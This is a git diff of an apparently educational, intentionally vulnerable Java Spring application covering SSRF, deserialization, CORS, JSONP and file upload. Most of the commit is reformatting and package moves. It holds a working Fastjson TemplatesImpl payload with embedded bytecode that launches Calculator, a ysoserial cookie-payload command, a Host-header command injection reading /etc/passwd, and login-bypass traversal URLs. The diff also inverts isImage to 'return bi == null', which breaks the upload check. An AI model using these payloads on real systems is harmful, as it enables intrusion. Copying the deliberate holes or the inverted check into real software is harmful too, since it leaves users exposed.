 .../java/org/joychou/filter/OriginFilter.java |  10 +-
 .../java/org/joychou/filter/ReferFilter.java  |  14 +-
 .../org/joychou/security/SecurityUtil.java    |  22 +-
 .../joychou/security/SocketHookFactory.java   |  77 -----
 .../org/joychou/security/SocketHookImpl.java  | 294 ------------------
 .../org/joychou/security/SocketHookUtils.java |  29 --
 .../security/{ => ssrf}/SSRFChecker.java      |  62 ++--
 .../joychou/security/ssrf/SSRFException.java  |  15 +
 .../security/{ => ssrf}/SocketHook.java       |  18 +-
 .../security/ssrf/SocketHookFactory.java      |  87 ++++++
 .../joychou/security/ssrf/SocketHookImpl.java | 270 ++++++++++++++++
 .../security/ssrf/SocketHookUtils.java        |  28 ++
 src/main/java/org/joychou/util/WebUtils.java  |  16 +
 43 files changed, 747 insertions(+), 778 deletions(-)
 delete mode 100644 src/main/java/org/joychou/security/SocketHookFactory.java
 delete mode 100644 src/main/java/org/joychou/security/SocketHookImpl.java
 delete mode 100644 src/main/java/org/joychou/security/SocketHookUtils.java
 rename src/main/java/org/joychou/security/{ => ssrf}/SSRFChecker.java (77%)
 create mode 100644 src/main/java/org/joychou/security/ssrf/SSRFException.java
 rename src/main/java/org/joychou/security/{ => ssrf}/SocketHook.java (59%)
 create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
 create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
 create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookUtils.java

diff --git a/README.md b/README.md
index 9ee7a881..2c0a0bc8 100644
--- a/README.md
+++ b/README.md
@@ -190,7 +190,7 @@ Tomcat's default JSESSION session is valid for 30 minutes, so a 30-minute non-op
 
 ## Contributors
 
-Core developers : [JoyChou](https://github.com/JoyChou93).
+Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https://github.com/liergou9981)
 Other developers: [lightless](https://github.com/lightless233),  [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). 
 
 
diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java
index 62379458..ef6ee45e 100644
--- a/src/main/java/org/joychou/config/Constants.java
+++ b/src/main/java/org/joychou/config/Constants.java
@@ -2,7 +2,8 @@
 
 public class Constants {
 
-    private Constants(){}
+    private Constants() {
+    }
 
     public static final String REMEMBER_ME_COOKIE = "rememberMe";
 }
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
index 82859444..6157f645 100644
--- a/src/main/java/org/joychou/config/SafeDomainParser.java
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -14,9 +14,9 @@
 
 public class SafeDomainParser {
 
-    private static Logger logger= LoggerFactory.getLogger(SafeDomainParser.class);
+    private static Logger logger = LoggerFactory.getLogger(SafeDomainParser.class);
 
-    public SafeDomainParser(){
+    public SafeDomainParser() {
 
         String rootTag = "domains";
         String safeDomainTag = "safedomains";
@@ -38,8 +38,8 @@ public SafeDomainParser(){
             NodeList rootNode = doc.getElementsByTagName(rootTag);  // 解析根节点domains
             Node domainsNode = rootNode.item(0);
             NodeList child = domainsNode.getChildNodes();
-            
-            for (int i = 0; i < child.getLength(); i++){
+
+            for (int i = 0; i < child.getLength(); i++) {
                 Node node = child.item(i);
                 // 解析safeDomains节点
                 if (node.getNodeName().equals(safeDomainTag)) {
@@ -51,7 +51,7 @@ public SafeDomainParser(){
                             safeDomains.add(finalTagNode.getTextContent());
                         }
                     }
-                }else if (node.getNodeName().equals(blockDomainTag)) {
+                } else if (node.getNodeName().equals(blockDomainTag)) {
                     NodeList finalTagNode = node.getChildNodes();
                     for (int j = 0; j < finalTagNode.getLength(); j++) {
                         Node tagNode = finalTagNode.item(j);
@@ -62,7 +62,7 @@ public SafeDomainParser(){
                     }
                 }
             }
-        }catch (Exception e){
+        } catch (Exception e) {
             logger.error(e.toString());
         }
 
@@ -96,7 +96,7 @@ public SafeDomainParser(){
             Node domainsNode = rootNode.item(0);
             NodeList child = domainsNode.getChildNodes();
 
-            for (int i = 0; i < child.getLength(); i++){
+            for (int i = 0; i < child.getLength(); i++) {
                 Node node = child.item(i);
                 // 解析safeDomains节点
                 if (node.getNodeName().equals(ssrfSafeDomainTag)) {
@@ -107,7 +107,7 @@ public SafeDomainParser(){
                             ssrfSafeDomains.add(tagFinalNode.getTextContent());
                         }
                     }
-                }else if (node.getNodeName().equals(ssrfBlockDomainTag)) {
+                } else if (node.getNodeName().equals(ssrfBlockDomainTag)) {
                     NodeList tagChild = node.getChildNodes();
                     for (int j = 0; j < tagChild.getLength(); j++) {
                         Node tagFinalNode = tagChild.item(j);
@@ -115,7 +115,7 @@ public SafeDomainParser(){
                             ssrfBlockDomains.add(tagFinalNode.getTextContent());
                         }
                     }
-                }else if(node.getNodeName().equals(ssrfBlockIpsTag)){
+                } else if (node.getNodeName().equals(ssrfBlockIpsTag)) {
                     NodeList tagChild = node.getChildNodes();
                     for (int j = 0; j < tagChild.getLength(); j++) {
                         Node tagFinalNode = tagChild.item(j);
@@ -126,7 +126,7 @@ public SafeDomainParser(){
                     }
                 }
             }
-        }catch (Exception e){
+        } catch (Exception e) {
             logger.error(e.toString());
         }
 
diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java
index 2dfdee19..28ee6967 100644
--- a/src/main/java/org/joychou/config/WebConfig.java
+++ b/src/main/java/org/joychou/config/WebConfig.java
@@ -15,112 +15,124 @@
 public class WebConfig {
 
     private static String[] callbacks;
-    private static Boolean  jsonpReferCheckEnabled = false;
+    private static Boolean jsonpReferCheckEnabled = false;
     private static String[] jsonpRefererHost;
     private static String[] referWhitelist;
     private static String[] referUris;
     private static Boolean referSecEnabled = false;
     private static String businessCallback;
-    private static ArrayList<String> safeDomains= new ArrayList<>();
-    private static ArrayList<String> blockDomains= new ArrayList<>();
+    private static ArrayList<String> safeDomains = new ArrayList<>();
+    private static ArrayList<String> blockDomains = new ArrayList<>();
     private static ArrayList<String> ssrfSafeDomains = new ArrayList<>();
-    private static ArrayList<String> ssrfBlockDomains= new ArrayList<>();
+    private static ArrayList<String> ssrfBlockDomains = new ArrayList<>();
     private static ArrayList<String> ssrfBlockIps = new ArrayList<>();
+
     /**
      * application.properties里object自动转jsonp的referer校验开关
+     *
      * @param jsonpReferCheckEnabled jsonp校验开关
      */
     @Value("${joychou.security.jsonp.referer.check.enabled}")
-    public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled){
+    public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled) {
         WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled;
     }
-    public static Boolean getJsonpReferCheckEnabled(){
+
+    public static Boolean getJsonpReferCheckEnabled() {
         return jsonpReferCheckEnabled;
     }
 
 
     @Value("${joychou.security.jsonp.callback}")
-    public void setJsonpCallbacks(String[] callbacks){
+    public void setJsonpCallbacks(String[] callbacks) {
         WebConfig.callbacks = callbacks;
     }
-    public static String[] getJsonpCallbacks(){
+
+    public static String[] getJsonpCallbacks() {
         return callbacks;
     }
 
 
     @Value("${joychou.security.referer.enabled}")
-    public void setReferSecEnabled(Boolean referSecEnabled){
+    public void setReferSecEnabled(Boolean referSecEnabled) {
         WebConfig.referSecEnabled = referSecEnabled;
     }
-    public static Boolean getReferSecEnabled(){
+
+    public static Boolean getReferSecEnabled() {
         return referSecEnabled;
     }
 
 
     @Value("${joychou.security.referer.host}")
-    public void setReferWhitelist(String[] referWhitelist){
+    public void setReferWhitelist(String[] referWhitelist) {
         WebConfig.referWhitelist = referWhitelist;
     }
-    public static String[] getReferWhitelist(){
+
+    public static String[] getReferWhitelist() {
         return referWhitelist;
     }
 
 
     @Value("${joychou.security.referer.uri}")
-    public void setReferUris(String[] referUris)
-    {
+    public void setReferUris(String[] referUris) {
         WebConfig.referUris = referUris;
     }
-    public static String[] getReferUris(){
+
+    public static String[] getReferUris() {
         return referUris;
     }
 
 
     @Value("${joychou.business.callback}")
-    public void setBusinessCallback(String businessCallback){
+    public void setBusinessCallback(String businessCallback) {
         WebConfig.businessCallback = businessCallback;
     }
-    public static String getBusinessCallback(){
+
+    public static String getBusinessCallback() {
         return businessCallback;
     }
 
 
-    void setSafeDomains(ArrayList<String> safeDomains){
+    void setSafeDomains(ArrayList<String> safeDomains) {
         WebConfig.safeDomains = safeDomains;
     }
-    public static ArrayList<String> getSafeDomains(){
+
+    public static ArrayList<String> getSafeDomains() {
         return safeDomains;
     }
 
 
-    void setBlockDomains(ArrayList<String> blockDomains){
+    void setBlockDomains(ArrayList<String> blockDomains) {
         WebConfig.blockDomains = blockDomains;
     }
-    public static ArrayList<String> getBlockDomains(){
+
+    public static ArrayList<String> getBlockDomains() {
         return blockDomains;
     }
 
 
-    void setSsrfSafeDomains(ArrayList<String> ssrfSafeDomains){
+    void setSsrfSafeDomains(ArrayList<String> ssrfSafeDomains) {
         WebConfig.ssrfSafeDomains = ssrfSafeDomains;
     }
-    public static ArrayList<String> getSsrfSafeDomains(){
+
+    public static ArrayList<String> getSsrfSafeDomains() {
         return ssrfSafeDomains;
     }
 
 
-    void setSsrfBlockDomains(ArrayList<String> ssrfBlockDomains){
+    void setSsrfBlockDomains(ArrayList<String> ssrfBlockDomains) {
         WebConfig.ssrfBlockDomains = ssrfBlockDomains;
     }
-    public static ArrayList<String> getSsrfBlockDomainsDomains(){
+
+    public static ArrayList<String> getSsrfBlockDomainsDomains() {
         return ssrfBlockDomains;
     }
 
 
-    void setSsrfBlockIps(ArrayList<String> ssrfBlockIps){
+    void setSsrfBlockIps(ArrayList<String> ssrfBlockIps) {
         WebConfig.ssrfBlockIps = ssrfBlockIps;
     }
-    public static ArrayList<String> getSsrfBlockIps(){
+
+    public static ArrayList<String> getSsrfBlockIps() {
         return ssrfBlockIps;
     }
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java
index 4fb66ba7..b0b0e9f2 100644
--- a/src/main/java/org/joychou/controller/CRLFInjection.java
+++ b/src/main/java/org/joychou/controller/CRLFInjection.java
@@ -11,7 +11,7 @@
 /**
  * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8)
  *
- * @author  JoyChou (joychou@joychou.org) @2018-01-03
+ * @author JoyChou (joychou@joychou.org) @2018-01-03
  */
 @Controller
 @RequestMapping("/crlf")
diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java
index 5481260e..21147270 100644
--- a/src/main/java/org/joychou/controller/CSRF.java
+++ b/src/main/java/org/joychou/controller/CSRF.java
@@ -10,7 +10,7 @@
  * check csrf using spring-security
  * Access http://localhost:8080/csrf/ -> click submit
  *
- * @author  JoyChou (joychou@joychou.org) @2019-05-31
+ * @author JoyChou (joychou@joychou.org) @2019-05-31
  */
 @Controller
 @RequestMapping("/csrf")
diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java
index 5b63efcf..a1a99035 100644
--- a/src/main/java/org/joychou/controller/CommandInject.java
+++ b/src/main/java/org/joychou/controller/CommandInject.java
@@ -35,7 +35,6 @@ public String codeInject(String filepath) throws IOException {
      * Host Injection
      * Host: hacked by joychou;cat /etc/passwd
      * http://localhost:8080/codeinject/host
-     *
      */
     @GetMapping("/codeinject/host")
     public String codeInjectHost(HttpServletRequest request) throws IOException {
diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
index e498dfc6..fc346ef6 100644
--- a/src/main/java/org/joychou/controller/Cookies.java
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -5,8 +5,10 @@
 
 import javax.servlet.http.Cookie;
 import javax.servlet.http.HttpServletRequest;
+
 import org.joychou.util.WebUtils;
 import org.springframework.web.bind.annotation.RestController;
+
 import static org.springframework.web.util.WebUtils.getCookie;
 
 @RestController
@@ -43,7 +45,7 @@ public String vuln03(HttpServletRequest req) {
             for (Cookie cookie : cookies) {
                 // key code. Equals can also be equalsIgnoreCase.
                 if (NICK.equals(cookie.getName())) {
-                    nick =  cookie.getValue();
+                    nick = cookie.getValue();
                 }
             }
         }
@@ -58,7 +60,7 @@ public String vuln04(HttpServletRequest req) {
         if (cookies != null) {
             for (Cookie cookie : cookies) {
                 if (cookie.getName().equalsIgnoreCase(NICK)) {  // key code
-                    nick =  cookie.getValue();
+                    nick = cookie.getValue();
                 }
             }
         }
@@ -66,7 +68,6 @@ public String vuln04(HttpServletRequest req) {
     }
 
 
-
     @RequestMapping(value = "/vuln05")
     public String vuln05(@CookieValue("nick") String nick) {
         return "Cookie nick: " + nick;
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index 109a4e18..a18e6280 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -11,7 +11,7 @@
 import javax.servlet.http.HttpServletResponse;
 
 /**
- * @author  JoyChou (joychou@joychou.org) @2018.10.24
+ * @author JoyChou (joychou@joychou.org) @2018.10.24
  * https://github.com/JoyChou93/java-sec-code/wiki/CORS
  */
 
@@ -106,7 +106,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response)
 
         // 如果origin不为空并且origin不在白名单内，认定为不安全。
         // 如果origin为空，表示是同域过来的请求或者浏览器直接发起的请求。
-        if ( origin != null && SecurityUtil.checkURL(origin) == null ) {
+        if (origin != null && SecurityUtil.checkURL(origin) == null) {
             return "Origin is not safe.";
         }
         response.setHeader("Access-Control-Allow-Origin", origin);
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index e3e0bca6..45662e9c 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -31,7 +31,7 @@ public class Deserialize {
     /**
      * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
      * Add the result to rememberMe cookie.
-     *
+     * <p>
      * http://localhost:8080/deserialize/rememberMe/vuln
      */
     @RequestMapping("/rememberMe/vuln")
@@ -40,7 +40,7 @@ public String rememberMeVul(HttpServletRequest request)
 
         Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
 
-        if (null == cookie){
+        if (null == cookie) {
             return "No rememberMe cookie. Right?";
         }
 
@@ -57,7 +57,7 @@ public String rememberMeVul(HttpServletRequest request)
 
     /**
      * Check deserialize class using black list.
-     *
+     * <p>
      * http://localhost:8080/deserialize/rememberMe/security
      */
     @RequestMapping("/rememberMe/security")
@@ -66,7 +66,7 @@ public String rememberMeBlackClassCheck(HttpServletRequest request)
 
         Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
 
-        if (null == cookie){
+        if (null == cookie) {
             return "No rememberMe cookie. Right?";
         }
         String rememberMe = cookie.getValue();
@@ -74,7 +74,7 @@ public String rememberMeBlackClassCheck(HttpServletRequest request)
 
         ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
 
-        try{
+        try {
             AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException
             in.readObject();
             in.close();
diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 80d06fc9..6063b507 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -3,7 +3,6 @@
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 import com.alibaba.fastjson.parser.Feature;
-import com.alibaba.fastjson.parser.ParserConfig;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestBody;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -11,22 +10,19 @@
 import org.springframework.web.bind.annotation.ResponseBody;
 
 
-
 @Controller
 @RequestMapping("/fastjson")
 public class Fastjson {
 
-    @RequestMapping(value = "/deserialize", method = {RequestMethod.POST })
+    @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
     @ResponseBody
     public static String Deserialize(@RequestBody String params) {
         // 如果Content-Type不设置application/json格式，post数据会被url编码
-        System.out.println(params);
         try {
             // 将post提交的string转换为json
             JSONObject ob = JSON.parseObject(params);
             return ob.get("name").toString();
-        }catch (Exception e){
-            e.printStackTrace();
+        } catch (Exception e) {
             return e.toString();
         }
     }
@@ -34,6 +30,6 @@ public static String Deserialize(@RequestBody String params) {
     public static void main(String[] args) {
         // Open calc in mac
         String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
-        JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
+        JSON.parseObject(payload, Feature.SupportNonPublicField);
     }
 }
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index d7297539..8b7c7373 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -22,19 +22,17 @@
 
 
 /**
- * @author  JoyChou (joychou@joychou.org)
- * @date    2018.08.15
- * @desc    File upload
+ * File upload.
+ *
+ * @author JoyChou @ 2018-08-15
  */
-
 @Controller
 @RequestMapping("/file")
 public class FileUpload {
 
     // Save the uploaded file to this folder
     private static String UPLOADED_FOLDER = "/tmp/";
-    private final Logger logger= LoggerFactory.getLogger(this.getClass());
-    private final String mimeChars = "/abcdefghijklmnopqrstuvwxyz-.0123456789";
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
 
     @GetMapping("/")
     public String index() {
@@ -77,7 +75,7 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file,
     // only upload picture
     @PostMapping("/upload/picture")
     @ResponseBody
-    public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception{
+    public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
         if (multifile.isEmpty()) {
             return "Please select a file to upload";
         }
@@ -115,7 +113,7 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
         };
         for (String blackMimeType : mimeTypeBlackList) {
             // 用contains是为了防止text/html;charset=UTF-8绕过
-            if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType) ) {
+            if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
                 logger.error("[-] Mime type error: " + mimeType);
                 deleteFile(excelFile);
                 return "Upload failed. Illeagl picture.";
@@ -125,7 +123,7 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
         // 判断文件内容是否是图片 校验3
         boolean isImageFlag = isImage(excelFile);
 
-        if( !isImage(excelFile) ){
+        if (!isImageFlag) {
             logger.error("[-] File is not Image");
             deleteFile(excelFile);
             return "Upload failed. Illeagl picture.";
@@ -152,7 +150,10 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
     private void deleteFile(File... files) {
         for (File file : files) {
             if (file.exists()) {
-                file.delete();
+                boolean ret = file.delete();
+                if (ret) {
+                    logger.debug("File delete successfully!");
+                }
             }
         }
     }
@@ -160,9 +161,6 @@ private void deleteFile(File... files) {
     /**
      * 不建议使用transferTo，因为原始的MultipartFile会被覆盖
      * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
-     *
-     * @param multiFile
-     * @return
      */
     private File convert(MultipartFile multiFile) throws Exception {
         String fileName = multiFile.getOriginalFilename();
@@ -170,7 +168,10 @@ private File convert(MultipartFile multiFile) throws Exception {
         UUID uuid = Generators.timeBasedGenerator().generate();
 
         File convFile = new File(UPLOADED_FOLDER + uuid + suffix);
-        convFile.createNewFile();
+        boolean ret = convFile.createNewFile();
+        if (!ret) {
+            return null;
+        }
         FileOutputStream fos = new FileOutputStream(convFile);
         fos.write(multiFile.getBytes());
         fos.close();
@@ -179,15 +180,9 @@ private File convert(MultipartFile multiFile) throws Exception {
 
     /**
      * Check if the file is a picture.
-     *
-     * @param file
-     * @return
      */
-    public static boolean isImage(File file) throws IOException {
+    private static boolean isImage(File file) throws IOException {
         BufferedImage bi = ImageIO.read(file);
-        if (bi == null) {
-            return false;
-        }
-        return true;
+        return bi == null;
     }
 }
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
index 512dc1ae..87405b62 100644
--- a/src/main/java/org/joychou/controller/GetRequestURI.java
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -13,13 +13,13 @@
 /**
  * The difference between getRequestURI and getServletPath.
  * 由于Spring Security的<code>antMatchers("/css/**", "/js/**")</code>未使用getRequestURI，所以登录不会被绕过。
- *
+ * <p>
  * Details: https://joychou.org/web/security-of-getRequestURI.html
- *
+ * <p>
  * Poc:
- *   http://localhost:8080/css/%2e%2e/exclued/vuln
- *   http://localhost:8080/css/..;/exclued/vuln
- *   http://localhost:8080/css/..;bypasswaf/exclued/vuln
+ * http://localhost:8080/css/%2e%2e/exclued/vuln
+ * http://localhost:8080/css/..;/exclued/vuln
+ * http://localhost:8080/css/..;bypasswaf/exclued/vuln
  *
  * @author JoyChou @2020-03-28
  */
@@ -28,7 +28,7 @@
 @RequestMapping("uri")
 public class GetRequestURI {
 
-    private final Logger logger= LoggerFactory.getLogger(this.getClass());
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
 
     @RequestMapping(value = "/exclued/vuln")
     public String exclued(HttpServletRequest request) {
@@ -40,9 +40,9 @@ public String exclued(HttpServletRequest request) {
         logger.info("getRequestURI: " + uri);
         logger.info("getServletPath: " + request.getServletPath());
 
-        for (String path: excluedPath) {
-            if ( matcher.match (path, uri) ) {
-                 return "You have bypassed the login page.";
+        for (String path : excluedPath) {
+            if (matcher.match(path, uri)) {
+                return "You have bypassed the login page.";
             }
         }
         return "This is a login page >..<";
diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java
index d3550e4f..9950e766 100644
--- a/src/main/java/org/joychou/controller/IPForge.java
+++ b/src/main/java/org/joychou/controller/IPForge.java
@@ -1,25 +1,23 @@
 package org.joychou.controller;
 
 import org.apache.commons.lang.StringUtils;
-import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
 
 import javax.servlet.http.HttpServletRequest;
 
 /**
- * @author  JoyChou (joychou@joychou.org)
- * @date    2017.12.29
- * @desc    Java获取IP安全代码
- * @detail  关于获取IP不安全代码，详情可查看https://joychou.org/web/how-to-get-real-ip.html
+ * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html
+ *
+ * @author JoyChou @ 2017-12-29
  */
-
-@Controller
+@RestController
 @RequestMapping("/ip")
 public class IPForge {
+
     // no any proxy
     @RequestMapping("/noproxy")
-    @ResponseBody
     public static String noProxy(HttpServletRequest request) {
         return request.getRemoteAddr();
     }
@@ -36,7 +34,7 @@ public static String proxy(HttpServletRequest request) {
         String ip = request.getHeader("X-Real-IP");
         if (StringUtils.isNotBlank(ip)) {
             return ip;
-        }else {
+        } else {
             String remoteAddr = request.getRemoteAddr();
             if (StringUtils.isNotBlank(remoteAddr)) {
                 return remoteAddr;
diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java
index 44394097..96061579 100644
--- a/src/main/java/org/joychou/controller/Jsonp.java
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -17,9 +17,8 @@
 import java.security.Principal;
 
 
-
 /**
- * @author  JoyChou (joychou@joychou.org) @ 2018.10.24
+ * @author JoyChou (joychou@joychou.org) @ 2018.10.24
  * https://github.com/JoyChou93/java-sec-code/wiki/JSONP
  */
 
@@ -75,14 +74,14 @@ public JSONObject advice(HttpServletRequest request) {
      * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test
      * Reference: https://p0sec.net/index.php/archives/122/ from p0
      * Affected version:  java-sec-code test case version: 4.3.6
-     *     - Spring Framework 5.0 to 5.0.6
-     *     - Spring Framework 4.1 to 4.3.17
+     * - Spring Framework 5.0 to 5.0.6
+     * - Spring Framework 4.1 to 4.3.17
      */
     @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
     public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
         ModelAndView view = new ModelAndView(new MappingJackson2JsonView());
         Principal principal = req.getUserPrincipal();
-        view.addObject("username", principal.getName() );
+        view.addObject("username", principal.getName());
         return view;
     }
 
@@ -109,5 +108,4 @@ public CsrfToken getCsrfToken(CsrfToken token) {
     }
 
 
-
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java
index 542f94e5..16769e4a 100644
--- a/src/main/java/org/joychou/controller/Login.java
+++ b/src/main/java/org/joychou/controller/Login.java
@@ -25,7 +25,7 @@ public String login() {
     }
 
     @GetMapping("/logout")
-    public String logoutPage (HttpServletRequest request, HttpServletResponse response) {
+    public String logoutPage(HttpServletRequest request, HttpServletResponse response) {
 
         String username = request.getUserPrincipal().getName();
 
diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java
index 76f9a2ce..1976b01b 100644
--- a/src/main/java/org/joychou/controller/PathTraversal.java
+++ b/src/main/java/org/joychou/controller/PathTraversal.java
@@ -41,9 +41,9 @@ private String getImgBase64(String imgFile) throws IOException {
         logger.info("File path: " + imgFile);
 
